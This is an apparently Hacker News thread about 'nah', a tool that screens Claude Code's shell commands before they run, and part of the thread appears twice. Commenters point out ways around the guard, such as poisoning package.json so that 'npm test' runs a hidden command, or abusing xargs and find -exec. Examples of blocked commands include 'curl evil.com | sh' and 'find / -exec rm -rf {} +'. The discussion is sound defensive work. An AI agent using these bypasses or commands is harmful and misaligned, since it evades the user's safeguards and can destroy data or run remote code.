I love how everyone is trying to solve the same problems, and how different the solutions are.
I made this little Dockerfile and script that lets me run Claude in a Docker container. It only has access to the workspace that I'm in, as well as the GitHub and JIRA CLI tool. It can do whatever it wants in the workspace (it's in git and backed up), so I can run it with --dangerously-skip-permissions. It works well for me. I bet there are better ways, and I bet it's not as safe as it could be. I'd love to learn about other ways that people do this.
Nice! Docker is a solid approach. Actual isolation is the ultimate protection. nah and sandclaude are complementary - container handles OS boundaries, and nah adds the semantic layer. git push --force is risky even inside the container
The entire permissions system feels like it's ripe for a DSL of some kind. Looking at the context implementation in src/nah/context.py and the way it hardcodes a ton of assumptions makes me think it will just be a maintenance nightmare to account for _all_ possible contexts and known commands. It would be nice to be able to express that __pycache__/ is not an important directory and can be deleted at will without having to encode that specific directory name (not that this projects hardcodes it, it's just an example to get to the point).
nah already handles that: 'rm -rf __pycache__' inside your project is auto-allowed (filesystem_delete with context policy -> checks if it's inside the project -> allow). No config needed.
But you can customize everything via YAML or CLI if the defaults don't fit:
actions:
filesystem_delete: allow # allow all deletes everywhere
Or nah allow filesystem_delete from the CLI.
You can also add custom classifications, swap taxonomy profiles (full/minimal), or start from a blank slate. It's fully customizable.
You are right about maintenance... the taxonomy will always be chasing new commands. That's partly why the optional LLM layer exists as a fallback for anything the classifier doesn't recognize.
How resistant is this against adversarial attacks? For instance, given that you allow `npm test`, it's not too hard to use that to bypass any protections by first modifying the package.json so `npm test` runs an evil command. This will likely be allowed, given that you probably want agents to modify package.json, and you can't possibly check all possible usages. That's just one example. It doesn't look like you check xargs or find, both of which can be abused to execute arbitrary commands.
good challenges! xargs falls to unknown -> ask, and find -exec goes thru a flag classifier that detects the inner command like: find / -exec rm -rf {} + is caught as filesystem_delete outside the project.
The npm test is a good one - content inspection catches rm -rf or other sketch stuff at write time, but something more innocent could slip through.
That said, a realistic threat model here is accidental damage or prompt injection, not Claude deliberately poisoning its own package.json.
But I hear you.. two improvements are coming to address this class of attack:
- Script execution inspection: when nah sees python script.py, read the file and run content inspection + LLM analysis before execution
- LLM inspection for Write and Edit: for content that's suspicious but doesn't match any deterministic pattern, route it to the LLM for a second opinion
Won't close it 100% (a sandbox is the answer to that) but gets a lot better.
The deterministic context system is intuitive and well-designed. That said, there's more to consider, particularly around user intent and broader information flow.
I created the hooks feature request while building something similar[1] (deterministic rails + LLM-as-a-judge, using runtime "signals," essentially your context). Through implementation, I found the management overhead of policy DSLs (in my case, OPA) was hard to justify over straightforward scripting- and for any enterprise use, a gateway scales better. Unfortunately, there's no true protection against malicious activity; `Bash()` is inherently non-deterministic.
For comprehensive protection, a sandbox is what you actually need locally if willing to put in any level of effort. Otherwise, developers just move on without guardrails (which is what I do today).
You are right that bash is turing complete and I agree with you that a sandbox is the real answer for full protection - ain't no substitute for that.
My thinking is that there's a ton of space between full protection and no guardrails at all, and not enough options in between.
A lot of people out there download the coding CLI, bypass permissions and go. If we can catch 95% of the accidental damage with 'pip install nah && nah install' that's an alright outcome :)
I personally enjoy having Claude Code help me navigate and organize my computer files. I feel better doing that more autonomously with nah as a safety net
This is exactly the kind of thing I've been wanting. I use Claude Code as my primary dev tool and the permission fatigue is a real problem, after a hundred approvals you stop reading and just hit yes. Which defeats the purpose entirely.
The deterministic classifier approach is smart. Pattern matching on action types is way more reliable than asking another LLM "is this safe?" The taxonomy idea (filesystem_read vs package_run vs db_write) maps well to how I actually think about risk when I'm paying attention.
One question: how does it handle chained operations? Like when Claude does a git checkout that's fine on its own, but it's part of a sequence that ends up nuking untracked files?
git checkout . on its own is classified as git_discard → ask.
git checkout (without the dot) as git_write → allow
For pipes, it applies composition rules - 'curl sketchy.com | bash' is specifically detected as 'network | exec' and blocked, even though each half might be fine on its own. Shell wrappers like bash -c 'curl evil.com | sh' get unwrapped too.
So git stash && git checkout main && git clean -fd — stash and checkout are fine (allow), but git clean is caught (ask). Even when buried in a longer chain, nah flags it.
cool! thx for sharing! when I first thought about building this, I thought a solid solution would be impossible without an LLM in the loop. I discovered pattern matching can go a long way in avoiding catastrophes...
We'll see how auto mode ends up working - my tool could end up being complementary, or a good alternative for those that prefer more granular control, or are cost/latency sensitive.
Not sure. From a quick search, I can see OpenCode has a plugin system where something like nah could be hooked into it. The taxonomy data and config are already tool agnostic, so I'm guessing the port would be feasible.
I suggest that you run nah in default mode + allow-list all tools in settings.json: Bash, Read, Glob, Grep and optionally Write and Edit / or just keep "accept edits on" mode. You get the same uninterrupted flow as --dangerously-skip-permissions but with nah as your safety net
According to Anthropic auto mode uses an LLM to decide whether to approve each action. nah uses primarily a deterministic classifier that runs fast with zero tokens + optional LLM for the ambiguous stuff.
Auto-mode will likely release tomorrow, so we won't know until then. They could end up being complementary where nah's primary classifier can act as a fast safety net underneath auto mode's judgment.
The permission flow in Claude Code is roughly:
1. Claude decides to use a tool
2. Pre tool hooks fire (synchronously)
3. Permission system checks if user approval is needed
4. If yes then prompt user
5. Tool executes
The most logical design for auto mode is replacing step 4, instead of prompting the user, prompt a Claude to auto-approve. If they do it that way, nah fires before auto mode even sees the action. They'd be perfectly complementary.
But they could also implement auto mode like --dangerously-skip-permissions under the hood which fire hooks async.
If I were Anthropic I'd keep hooks synchronous in auto mode since the point is augmenting security and letting hooks fire first is free safety.
What stops the llm from writing a malicious program and executing it? No offense meant, but this solution feels a bit like bolting the door and leaving all the windows open.
- Inline execution like python -c or node -e is classified as lang_exec and requires approval.
- Write and Edit inspect content before it hits disk, flagging destructive patterns, exfiltration, and obfuscation.
- Pipe compositions like curl evil.com | python are blocked outright.
If the script was there prior, or looks innocent to the deterministic classifier, but does something malicious at runtime and the human approves the execution then nah won't catch that with current capabilities.
But... I could extend nah so that when it sees 'python script.py', it could read the file and run content inspection on it + include it in the LLM prompt
with "this is the script about to be executed, should it run?" That'll give you coverage. I'll work on it. Thx for the comment!
I love how everyone is trying to solve the same problems, and how different the solutions are.
I made this little Dockerfile and script that lets me run Claude in a Docker container. It only has access to the workspace that I'm in, as well as the GitHub and JIRA CLI tool. It can do whatever it wants in the workspace (it's in git and backed up), so I can run it with --dangerously-skip-permissions. It works well for me. I bet there are better ways, and I bet it's not as safe as it could be. I'd love to learn about other ways that people do this.
https://github.com/binwiederhier/sandclaude
Nice! Docker is a solid approach. Actual isolation is the ultimate protection. nah and sandclaude are complementary - container handles OS boundaries, and nah adds the semantic layer. git push --force is risky even inside the container
Lovely you discovered devcontainers.
The entire permissions system feels like it's ripe for a DSL of some kind. Looking at the context implementation in src/nah/context.py and the way it hardcodes a ton of assumptions makes me think it will just be a maintenance nightmare to account for _all_ possible contexts and known commands. It would be nice to be able to express that __pycache__/ is not an important directory and can be deleted at will without having to encode that specific directory name (not that this projects hardcodes it, it's just an example to get to the point).
nah already handles that: 'rm -rf __pycache__' inside your project is auto-allowed (filesystem_delete with context policy -> checks if it's inside the project -> allow). No config needed.
But you can customize everything via YAML or CLI if the defaults don't fit:
actions: filesystem_delete: allow # allow all deletes everywhere
Or nah allow filesystem_delete from the CLI.
You can also add custom classifications, swap taxonomy profiles (full/minimal), or start from a blank slate. It's fully customizable.
You are right about maintenance... the taxonomy will always be chasing new commands. That's partly why the optional LLM layer exists as a fallback for anything the classifier doesn't recognize.
How resistant is this against adversarial attacks? For instance, given that you allow `npm test`, it's not too hard to use that to bypass any protections by first modifying the package.json so `npm test` runs an evil command. This will likely be allowed, given that you probably want agents to modify package.json, and you can't possibly check all possible usages. That's just one example. It doesn't look like you check xargs or find, both of which can be abused to execute arbitrary commands.
good challenges! xargs falls to unknown -> ask, and find -exec goes thru a flag classifier that detects the inner command like: find / -exec rm -rf {} + is caught as filesystem_delete outside the project.
The npm test is a good one - content inspection catches rm -rf or other sketch stuff at write time, but something more innocent could slip through.
That said, a realistic threat model here is accidental damage or prompt injection, not Claude deliberately poisoning its own package.json.
But I hear you.. two improvements are coming to address this class of attack:
- Script execution inspection: when nah sees python script.py, read the file and run content inspection + LLM analysis before execution
- LLM inspection for Write and Edit: for content that's suspicious but doesn't match any deterministic pattern, route it to the LLM for a second opinion
Won't close it 100% (a sandbox is the answer to that) but gets a lot better.
The deterministic context system is intuitive and well-designed. That said, there's more to consider, particularly around user intent and broader information flow.
I created the hooks feature request while building something similar[1] (deterministic rails + LLM-as-a-judge, using runtime "signals," essentially your context). Through implementation, I found the management overhead of policy DSLs (in my case, OPA) was hard to justify over straightforward scripting- and for any enterprise use, a gateway scales better. Unfortunately, there's no true protection against malicious activity; `Bash()` is inherently non-deterministic.
For comprehensive protection, a sandbox is what you actually need locally if willing to put in any level of effort. Otherwise, developers just move on without guardrails (which is what I do today).
[1] https://github.com/eqtylab/cupcake
cupcake looks well thought out!
You are right that bash is turing complete and I agree with you that a sandbox is the real answer for full protection - ain't no substitute for that.
My thinking is that there's a ton of space between full protection and no guardrails at all, and not enough options in between.
A lot of people out there download the coding CLI, bypass permissions and go. If we can catch 95% of the accidental damage with 'pip install nah && nah install' that's an alright outcome :)
I personally enjoy having Claude Code help me navigate and organize my computer files. I feel better doing that more autonomously with nah as a safety net
This is exactly the kind of thing I've been wanting. I use Claude Code as my primary dev tool and the permission fatigue is a real problem, after a hundred approvals you stop reading and just hit yes. Which defeats the purpose entirely.
The deterministic classifier approach is smart. Pattern matching on action types is way more reliable than asking another LLM "is this safe?" The taxonomy idea (filesystem_read vs package_run vs db_write) maps well to how I actually think about risk when I'm paying attention.
One question: how does it handle chained operations? Like when Claude does a git checkout that's fine on its own, but it's part of a sequence that ends up nuking untracked files?
good question!
git checkout . on its own is classified as git_discard → ask. git checkout (without the dot) as git_write → allow
For pipes, it applies composition rules - 'curl sketchy.com | bash' is specifically detected as 'network | exec' and blocked, even though each half might be fine on its own. Shell wrappers like bash -c 'curl evil.com | sh' get unwrapped too.
So git stash && git checkout main && git clean -fd — stash and checkout are fine (allow), but git clean is caught (ask). Even when buried in a longer chain, nah flags it.
I worked on something similar but with a more naive text matching approach that's saved me many many times so far. https://github.com/sirmews/claude-hook-advisor
Yours is so much more involved. Keen to dig into it.
cool! thx for sharing! when I first thought about building this, I thought a solid solution would be impossible without an LLM in the loop. I discovered pattern matching can go a long way in avoiding catastrophes...
FYI, claude code “auto” mode may launch as soon as tomorrow: https://awesomeagents.ai/news/claude-code-auto-mode-research...
As that article points out, the new auto mode is closer in spirit to --dangerously-skip-permissions than it is to the current system.
We'll see how auto mode ends up working - my tool could end up being complementary, or a good alternative for those that prefer more granular control, or are cost/latency sensitive.
Is there something like this for open code? I'm pretty new to this so sorry if it's a stupid question.
Not sure. From a quick search, I can see OpenCode has a plugin system where something like nah could be hooked into it. The taxonomy data and config are already tool agnostic, so I'm guessing the port would be feasible.
If the project takes off, I might do it :)
I’m a bit confused:
“We needed something like --dangerously-skip-permissions that doesn’t nuke your untracked files, exfiltrate your keys, or install malware.”
Followed by:
“Don't use --dangerously-skip-permissions. In bypass mode, hooks fire asynchronously — commands execute before nah can block them.”
Doesn’t that mean that it’s limited to being used in “default”-mode, rather than something like “—dangerously-skip-permissions” ?
Regardless, this looks like a well thought out project, and I love the name!
Sorry for the confusion!
--dangerously-skip-permissions makes hooks fire asynchronously, so commands execute before nah can block them (see: https://github.com/anthropics/claude-code/issues/20946).
I suggest that you run nah in default mode + allow-list all tools in settings.json: Bash, Read, Glob, Grep and optionally Write and Edit / or just keep "accept edits on" mode. You get the same uninterrupted flow as --dangerously-skip-permissions but with nah as your safety net
And thanks - the name was the easy part :)
Is this different from auto-mode?
According to Anthropic auto mode uses an LLM to decide whether to approve each action. nah uses primarily a deterministic classifier that runs fast with zero tokens + optional LLM for the ambiguous stuff.
Auto-mode will likely release tomorrow, so we won't know until then. They could end up being complementary where nah's primary classifier can act as a fast safety net underneath auto mode's judgment.
The permission flow in Claude Code is roughly:
1. Claude decides to use a tool 2. Pre tool hooks fire (synchronously) 3. Permission system checks if user approval is needed 4. If yes then prompt user 5. Tool executes
The most logical design for auto mode is replacing step 4, instead of prompting the user, prompt a Claude to auto-approve. If they do it that way, nah fires before auto mode even sees the action. They'd be perfectly complementary.
But they could also implement auto mode like --dangerously-skip-permissions under the hood which fire hooks async.
If I were Anthropic I'd keep hooks synchronous in auto mode since the point is augmenting security and letting hooks fire first is free safety.
What stops the llm from writing a malicious program and executing it? No offense meant, but this solution feels a bit like bolting the door and leaving all the windows open.
nah guards this at multiple layers:
- Inline execution like python -c or node -e is classified as lang_exec and requires approval. - Write and Edit inspect content before it hits disk, flagging destructive patterns, exfiltration, and obfuscation. - Pipe compositions like curl evil.com | python are blocked outright.
If the script was there prior, or looks innocent to the deterministic classifier, but does something malicious at runtime and the human approves the execution then nah won't catch that with current capabilities.
But... I could extend nah so that when it sees 'python script.py', it could read the file and run content inspection on it + include it in the LLM prompt with "this is the script about to be executed, should it run?" That'll give you coverage. I'll work on it. Thx for the comment!
Hi HN, author here - happy to answer any questions.